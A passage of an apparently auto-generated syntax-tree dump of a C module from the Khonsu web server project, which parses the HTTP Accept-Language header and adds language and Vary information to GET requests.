&& (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }\n\n\n if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }\n\n return lcodes;\n}\n\nstatic sexpr request (sexpr arguments, struct machine_state *st)\n{\n sexpr a = arguments, r = sx_end_of_list, a2, a3;\n\n while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }\n\n relay_sub (sx_reverse (r));\n return sx_nonexistent;\n}\n\nint cmain ()\n{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));\n\n while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }\n\n return 0;\n}\n" (comment) "/*\n * This file is part of the kyuba.org Khonsu project.\n * See the appropriate repository at http://git.kyuba.org/ for exact file\n * modification records.\n*/" (comment) "/*\n * Copyright (c) 2009, Kyuba Project Members\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the "Software"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n*/" (preproc_include) "#include <khonsu/khonsu.h>\n" (#include) "#include" (system_lib_string) "<khonsu/khonsu.h>" (preproc_include) "#include <seteh/lambda.h>\n" (#include) "#include" (system_lib_string) "<seteh/lambda.h>" (preproc_include) "#include <curie/multiplex.h>\n" (#include) "#include" (system_lib_string) "<curie/multiplex.h>" (preproc_include) "#include <curie/memory.h>\n" (#include) "#include" (system_lib_string) "<curie/memory.h>" (preproc_include) "#include <curie/filesystem.h>\n" (#include) "#include" (system_lib_string) "<curie/filesystem.h>" (preproc_include) "#include <curie/gc.h>\n" (#include) "#include" (system_lib_string) "<curie/gc.h>" (expression_statement) "define_symbol (sym_accept_language, "accept-language");" (call_expression) "define_symbol (sym_accept_language, "accept-language")" (identifier) "define_symbol" (argument_list) "(sym_accept_language, "accept-language")" (() "(" (identifier) "sym_accept_language" (,) "," (string_literal) ""accept-language"" (") """ (string_content) "accept-language" (") """ ()) ")" (;) ";" (expression_statement) "define_symbol (sym_Vary, "Vary");" (call_expression) "define_symbol (sym_Vary, "Vary")" (identifier) "define_symbol" (argument_list) "(sym_Vary, "Vary")" (() "(" (identifier) "sym_Vary" (,) "," (string_literal) ""Vary"" (") """ (string_content) "Vary" (") """ ()) ")" (;) ";" (expression_statement) "define_symbol (sym_default_language, "default-language");" (call_expression) "define_symbol (sym_default_language, "default-language")" (identifier) "define_symbol" (argument_list) "(sym_default_language, "default-language")" (() "(" (identifier) "sym_default_language" (,) "," (string_literal) ""default-language"" (") """ (string_content) "default-language" (") """ ()) ")" (;) ";" (expression_statement) "define_string (str_Accept_Language, "Accept-Language");" (call_expression) "define_string (str_Accept_Language, "Accept-Language")" (identifier) "define_string" (argument_list) "(str_Accept_Language, "Accept-Language")" (() "(" (identifier) "str_Accept_Language" (,) "," (string_literal) ""Accept-Language"" (") """ (string_content) "Accept-Language" (") """ ()) ")" (;) ";" (declaration) "static sexpr default_language = sx_nonexistent;" (storage_class_specifier) "static" (static) "static" (type_identifier) "sexpr" (init_declarator) "default_language = sx_nonexistent" (identifier) "default_language" (=) "=" (identifier) "sx_nonexistent" (;) ";" (function_definition) "static void configure_callback (sexpr sx)\n{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "void" (function_declarator) "configure_callback (sexpr sx)" (identifier) "configure_callback" (parameter_list) "(sexpr sx)" (() "(" (parameter_declaration) "sexpr sx" (type_identifier) "sexpr" (identifier) "sx" ()) ")" (compound_statement) "{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }\n}" ({) "{" (declaration) "sexpr a = car (sx);" (type_identifier) "sexpr" (init_declarator) "a = car (sx)" (identifier) "a" (=) "=" (call_expression) "car (sx)" (identifier) "car" (argument_list) "(sx)" (() "(" (identifier) "sx" ()) ")" (;) ";" (if_statement) "if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }" (if) "if" (parenthesized_expression) "(truep (equalp (a, sym_default_language)))" (() "(" (call_expression) "truep (equalp (a, sym_default_language))" (identifier) "truep" (argument_list) "(equalp (a, sym_default_language))" (() "(" (call_expression) "equalp (a, sym_default_language)" (identifier) "equalp" (argument_list) "(a, sym_default_language)" (() "(" (identifier) "a" (,) "," (identifier) "sym_default_language" ()) ")" ()) ")" ()) ")" (compound_statement) "{\n default_language = car (cdr (sx));\n }" ({) "{" (expression_statement) "default_language = car (cdr (sx));" (assignment_expression) "default_language = car (cdr (sx))" (identifier) "default_language" (=) "=" (call_expression) "car (cdr (sx))" (identifier) "car" (argument_list) "(cdr (sx))" (() "(" (call_expression) "cdr (sx)" (identifier) "cdr" (argument_list) "(sx)" (() "(" (identifier) "sx" ()) ")" ()) ")" (;) ";" (}) "}" (}) "}" (function_definition) "static sexpr get_acceptable_languages (sexpr lq)\n{\n sexpr lcodes = sx_end_of_list;\n char have_default = 0;\n\n if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }\n\n\n if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }\n\n return lcodes;\n}" (storage_class_specifier) "static" (static) "static" (type_identifier) "sexpr" (function_declarator) "get_acceptable_languages (sexpr lq)" (identifier) "get_acceptable_languages" (parameter_list) "(sexpr lq)" (() "(" (parameter_declaration) "sexpr lq" (type_identifier) "sexpr" (identifier) "lq" ()) ")" (compound_statement) "{\n sexpr lcodes = sx_end_of_list;\n char have_default = 0;\n\n if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }\n\n\n if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }\n\n return lcodes;\n}" ({) "{" (declaration) "sexpr lcodes = sx_end_of_list;" (type_identifier) "sexpr" (init_declarator) "lcodes = sx_end_of_list" (identifier) "lcodes" (=) "=" (identifier) "sx_end_of_list" (;) ";" (declaration) "char have_default = 0;" (primitive_type) "char" (init_declarator) "have_default = 0" (identifier) "have_default" (=) "=" (number_literal) "0" (;) ";" (if_statement) "if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }" (if) "if" (parenthesized_expression) "(!nexp (lq))" (() "(" (unary_expression) "!nexp (lq)" (!) "!" (call_expression) "nexp (lq)" (identifier) "nexp" (argument_list) "(lq)" (() "(" (identifier) "lq" ()) ")" ()) ")" (compound_statement) "{\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }" ({) "{" (declaration) "const char *lqs = sx_string (lq);" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "*lqs = sx_string (lq)" (pointer_declarator) "*lqs" (*) "*" (identifier) "lqs" (=) "=" (call_expression) "sx_string (lq)" (identifier) "sx_string" (argument_list) "(lq)" (() "(" (identifier) "lq" ()) ")" (;) ";" (declaration) "char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;" (primitive_type) "char" (array_declarator) "lqsm [KHO_MAX_HEADER_FIELD_LENGTH]" (identifier) "lqsm" ([) "[" (identifier) "KHO_MAX_HEADER_FIELD_LENGTH" (]) "]" (,) "," (init_declarator) "semicolon = 0" (identifier) "semicolon" (=) "=" (number_literal) "0" (;) ";" (declaration) "sexpr n;" (type_identifier) "sexpr" (identifier) "n" (;) ";" (declaration) "int i = 0, il = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (,) "," (init_declarator) "il = 0" (identifier) "il" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }" (while) "while" (parenthesized_expression) "(lqs[i] != (char)0)" (() "(" (binary_expression) "lqs[i] != (char)0" (subscript_expression) "lqs[i]" (identifier) "lqs" ([) "[" (identifier) "i" (]) "]" (!=) "!=" (cast_expression) "(char)0" (() "(" (type_descriptor) "char" (primitive_type) "char" ()) ")" (number_literal) "0" ()) ")" (compound_statement) "{\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }" ({) "{" (expression_statement) "lqsm[i] = lqs[i];" (assignment_expression) "lqsm[i] = lqs[i]" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (=) "=" (subscript_expression) "lqs[i]" (identifier) "lqs" ([) "[" (identifier) "i" (]) "]" (;) ";" (if_statement) "if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;" (if) "if" (parenthesized_expression) "(i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1))" (() "(" (binary_expression) "i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)" (identifier) "i" (>=) ">=" (parenthesized_expression) "(KHO_MAX_HEADER_FIELD_LENGTH - 1)" (() "(" (binary_expression) "KHO_MAX_HEADER_FIELD_LENGTH - 1" (identifier) "KHO_MAX_HEADER_FIELD_LENGTH" (-) "-" (number_literal) "1" ()) ")" ()) ")" (break_statement) "break;" (break) "break" (;) ";" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (}) "}" (expression_statement) "lqsm[i] = (char)0;" (assignment_expression) "lqsm[i] = (char)0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (=) "=" (cast_expression) "(char)0" (() "(" (type_descriptor) "char" (primitive_type) "char" ()) ")" (number_literal) "0" (;) ";" (for_statement) "for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }" (for) "for" (() "(" (assignment_expression) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "lqsm[i] != (char)0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (!=) "!=" (cast_expression) "(char)0" (() "(" (type_descriptor) "char" (primitive_type) "char" ()) ")" (number_literal) "0" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }" ({) "{" (if_statement) "if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }" (if) "if" (parenthesized_expression) "((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))" (() "(" (binary_expression) "(lqsm[i] == ',') || (semicolon = (lqsm[i] == ';'))" (parenthesized_expression) "(lqsm[i] == ',')" (() "(" (binary_expression) "lqsm[i] == ','" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (char_literal) "','" (') "'" (character) "," (') "'" ()) ")" (||) "||" (parenthesized_expression) "(semicolon = (lqsm[i] == ';'))" (() "(" (assignment_expression) "semicolon = (lqsm[i] == ';')" (identifier) "semicolon" (=) "=" (parenthesized_expression) "(lqsm[i] == ';')" (() "(" (binary_expression) "lqsm[i] == ';'" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (char_literal) "';'" (') "'" (character) ";" (') "'" ()) ")" ()) ")" ()) ")" (compound_statement) "{\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }" ({) "{" (expression_statement) "lqsm[i] = (char)0;" (assignment_expression) "lqsm[i] = (char)0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (=) "=" (cast_expression) "(char)0" (() "(" (type_descriptor) "char" (primitive_type) "char" ()) ")" (number_literal) "0" (;) ";" (expression_statement) "n = make_string (lqsm + il);" (assignment_expression) "n = make_string (lqsm + il)" (identifier) "n" (=) "=" (call_expression) "make_string (lqsm + il)" (identifier) "make_string" (argument_list) "(lqsm + il)" (() "(" (binary_expression) "lqsm + il" (identifier) "lqsm" (+) "+" (identifier) "il" ()) ")" (;) ";" (if_statement) "if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }" (if) "if" (parenthesized_expression) "(!have_default && truep (equalp (n, default_language)))" (() "(" (binary_expression) "!have_default && truep (equalp (n, default_language))" (unary_expression) "!have_default" (!) "!" (identifier) "have_default" (&&) "&&" (call_expression) "truep (equalp (n, default_language))" (identifier) "truep" (argument_list) "(equalp (n, default_language))" (() "(" (call_expression) "equalp (n, default_language)" (identifier) "equalp" (argument_list) "(n, default_language)" (() "(" (identifier) "n" (,) "," (identifier) "default_language" ()) ")" ()) ")" ()) ")" (compound_statement) "{\n have_default = 1;\n }" ({) "{" (expression_statement) "have_default = 1;" (assignment_expression) "have_default = 1" (identifier) "have_default" (=) "=" (number_literal) "1" (;) ";" (}) "}" (expression_statement) "lcodes = cons (n, lcodes);" (assignment_expression) "lcodes = cons (n, lcodes)" (identifier) "lcodes" (=) "=" (call_expression) "cons (n, lcodes)" (identifier) "cons" (argument_list) "(n, lcodes)" (() "(" (identifier) "n" (,) "," (identifier) "lcodes" ()) ")" (;) ";" (if_statement) "if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }" (if) "if" (parenthesized_expression) "(semicolon)" (() "(" (identifier) "semicolon" ()) ")" (compound_statement) "{\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }" ({) "{" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (while_statement) "while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }" (while) "while" (parenthesized_expression) "((lqsm[i] != 0) && (lqsm[i] != ','))" (() "(" (binary_expression) "(lqsm[i] != 0) && (lqsm[i] != ',')" (parenthesized_expression) "(lqsm[i] != 0)" (() "(" (binary_expression) "lqsm[i] != 0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (!=) "!=" (number_literal) "0" ()) ")" (&&) "&&" (parenthesized_expression) "(lqsm[i] != ',')" (() "(" (binary_expression) "lqsm[i] != ','" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (!=) "!=" (char_literal) "','" (') "'" (character) "," (') "'" ()) ")" ()) ")" (compound_statement) "{\n if (lqsm[i] == 0) break;\n i++;\n }" ({) "{" (if_statement) "if (lqsm[i] == 0) break;" (if) "if" (parenthesized_expression) "(lqsm[i] == 0)" (() "(" (binary_expression) "lqsm[i] == 0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (number_literal) "0" ()) ")" (break_statement) "break;" (break) "break" (;) ";" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (}) "}" (if_statement) "if (lqsm[i] == 0)\n {\n il = i;\n break;\n }" (if) "if" (parenthesized_expression) "(lqsm[i] == 0)" (() "(" (binary_expression) "lqsm[i] == 0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n il = i;\n break;\n }" ({) "{" (expression_statement) "il = i;" (assignment_expression) "il = i" (identifier) "il" (=) "=" (identifier) "i" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (while_statement) "while ((lqsm[i] == ' ') || (lqsm[i] == '\t'))\n {\n i++;\n }" (while) "while" (parenthesized_expression) "((lqsm[i] == ' ') || (lqsm[i] == '\t'))" (() "(" (binary_expression) "(lqsm[i] == ' ') || (lqsm[i] == '\t')" (parenthesized_expression) "(lqsm[i] == ' ')" (() "(" (binary_expression) "lqsm[i] == ' '" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (char_literal) "' '" (') "'" (character) " " (') "'" ()) ")" (||) "||" (parenthesized_expression) "(lqsm[i] == '\t')" (() "(" (binary_expression) "lqsm[i] == '\t'" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (char_literal) "'\t'" (') "'" (escape_sequence) "\t" (') "'" ()) ")" ()) ")" (compound_statement) "{\n i++;\n }" ({) "{" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (}) "}" (if_statement) "if (lqsm[i] == 0) break;" (if) "if" (parenthesized_expression) "(lqsm[i] == 0)" (() "(" (binary_expression) "lqsm[i] == 0" (subscript_expression) "lqsm[i]" (identifier) "lqsm" ([) "[" (identifier) "i" (]) "]" (==) "==" (number_literal) "0" ()) ")" (break_statement) "break;" (break) "break" (;) ";" (expression_statement) "il = i;" (assignment_expression) "il = i" (identifier) "il" (=) "=" (identifier) "i" (;) ";" (}) "}" (}) "}" (if_statement) "if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }" (if) "if" (parenthesized_expression) "(il < i)" (() "(" (binary_expression) "il < i" (identifier) "il" (<) "<" (identifier) "i" ()) ")" (compound_statement) "{\n lcodes = cons (make_string (lqsm + il), lcodes);\n }" ({) "{" (expression_statement) "lcodes = cons (make_string (lqsm + il), lcodes);" (assignment_expression) "lcodes = cons (make_string (lqsm + il), lcodes)" (identifier) "lcodes" (=) "=" (call_expression) "cons (make_string (lqsm + il), lcodes)" (identifier) "cons" (argument_list) "(make_string (lqsm + il), lcodes)" (() "(" (call_expression) "make_string (lqsm + il)" (identifier) "make_string" (argument_list) "(lqsm + il)" (() "(" (binary_expression) "lqsm + il" (identifier) "lqsm" (+) "+" (identifier) "il" ()) ")" (,) "," (identifier) "lcodes" ()) ")" (;) ";" (}) "}" (}) "}" (if_statement) "if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }" (if) "if" (parenthesized_expression) "(!have_default)" (() "(" (unary_expression) "!have_default" (!) "!" (identifier) "have_default" ()) ")" (compound_statement) "{\n lcodes = cons (default_language, lcodes);\n }" ({) "{" (expression_statement) "lcodes = cons (default_language, lcodes);" (assignment_expression) "lcodes = cons (default_language, lcodes)" (identifier) "lcodes" (=) "=" (call_expression) "cons (default_language, lcodes)" (identifier) "cons" (argument_list) "(default_language, lcodes)" (() "(" (identifier) "default_language" (,) "," (identifier) "lcodes" ()) ")" (;) ";" (}) "}" (return_statement) "return lcodes;" (return) "return" (identifier) "lcodes" (;) ";" (}) "}" (function_definition) "static sexpr request (sexpr arguments, struct machine_state *st)\n{\n sexpr a = arguments, r = sx_end_of_list, a2, a3;\n\n while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }\n\n relay_sub (sx_reverse (r));\n return sx_nonexistent;\n}" (storage_class_specifier) "static" (static) "static" (type_identifier) "sexpr" (function_declarator) "request (sexpr arguments, struct machine_state *st)" (identifier) "request" (parameter_list) "(sexpr arguments, struct machine_state *st)" (() "(" (parameter_declaration) "sexpr arguments" (type_identifier) "sexpr" (identifier) "arguments" (,) "," (parameter_declaration) "struct machine_state *st" (struct_specifier) "struct machine_state" (struct) "struct" (type_identifier) "machine_state" (pointer_declarator) "*st" (*) "*" (identifier) "st" ()) ")" (compound_statement) "{\n sexpr a = arguments, r = sx_end_of_list, a2, a3;\n\n while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }\n\n relay_sub (sx_reverse (r));\n return sx_nonexistent;\n}" ({) "{" (declaration) "sexpr a = arguments, r = sx_end_of_list, a2, a3;" (type_identifier) "sexpr" (init_declarator) "a = arguments" (identifier) "a" (=) "=" (identifier) "arguments" (,) "," (init_declarator) "r = sx_end_of_list" (identifier) "r" (=) "=" (identifier) "sx_end_of_list" (,) "," (identifier) "a2" (,) "," (identifier) "a3" (;) ";" (while_statement) "while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n 